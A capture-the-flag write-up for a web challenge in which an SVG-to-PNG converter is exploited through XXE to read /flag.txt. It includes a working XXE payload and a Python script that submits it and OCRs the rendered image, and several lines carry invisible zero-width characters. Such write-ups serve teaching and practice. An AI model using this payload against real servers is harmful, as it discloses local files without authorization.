← Back to Writeups
CUSTOMEasyWeb

Broken Box

XESXOR9/10/20263 min read
#web#custom#easy#local_file_disclosure#ocr_validation#svg_entity_injection#xxe_file_read

Broken Box

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: local_file_disclosure, ocr_validation, svg_entity_injection, xxe_file_read

Summary

Task: a Flask/Werkzeug SVG-to-PNG converter accepted raw XML and stored the rendered image at /static/data.png. Solution: exploit XXE in the SVG parser to load file:///flag.txt, render the file contents inside the generated PNG, and verify the result with repeated OCR after correcting an initial xmi/xml misread.

Broken Box — Hackerlab

Description

Original task name: «Сломанный ящик»

Target: http://62.173.140.174:16009/

The challenge provided a web service that converts SVG into PNG. The task hint was unusually direct: the flag was stored on the server at /flag.txt. That strongly suggested the goal was not normal application logic abuse, but server-side file disclosure through the conversion pipeline.

Analysis

The main page exposed a simple HTML form with a textarea named aboba that accepted raw SVG/XML and returned the rendered image at: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

text
/static/data.png

Initial probing showed:

  • Flask / Werkzeug in the response headers
  • user-controlled SVG submitted directly to the backend
  • the resulting PNG changed after each submission

Because SVG is XML, the most promising vector was XXE. If the converter parsed attacker-controlled DOCTYPE declarations and external entities, then local files could be embedded into the SVG and rendered into the output image.

Exploitation

The working payload defined an external entity pointing at the local flag file and then placed that entity inside an SVG <text> node: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="2600" height="180">
  <rect width="100%" height="100%" fill="white"/>
  <text x="10" y="120" font-size="96" font-family="monospace">&xxe;</text>
</svg>

After submitting this SVG, the application expanded &xxe;, loaded /flag.txt, and rendered the file contents into /static/data.png.

Proof / Important Responses

1. Converter behavior

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The service accepted SVG input and rewrote the displayed image after each POST request.

2. XXE file read through SVG

Using a test entity such as file:///etc/hostname caused the hostname text to appear in the rendered PNG, confirming XXE.

3. Flag extraction

Replacing the hostname path with file:///flag.txt rendered the flag into the PNG.

Because the server returned only the image, the final text had to be read from the generated PNG. OCR worked, but the first pass misread xml as xmi. Re-rendering with a monospace font and repeating OCR confirmed the correct flag string. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Example Python exploit:

python
#!/usr/bin/env python3
import io

import pytesseract
import requests
from PIL import Image


URL = "http://62.173.140.174:16009/"

payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="2600" height="180">
  <rect width="100%" height="100%" fill="white"/>
  <text x="10" y="120" font-size="96" font-family="monospace">&xxe;</text>
</svg>
"""


def main() -> None:
    session = requests.Session()
    session.post(URL, data={"aboba": payload}, timeout=10)
    image_data = session.get(URL + "static/data.png", timeout=10).content
    image = Image.open(io.BytesIO(image_data))
    text = pytesseract.image_to_string(
        image,
        config="--psm 7 -c tessedit_char_whitelist=CODEBY{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_",
    )
    print(text.strip())
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍


if __name__ == "__main__":
    main()

Expected output after the OCR re-check:

text
CODEBY{REDACTED}

Root Cause

The backend parsed attacker-controlled SVG/XML with external entities enabled. That allowed an XXE primitive using the file:// scheme, which disclosed local files from the server filesystem and rendered them into the exported PNG. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍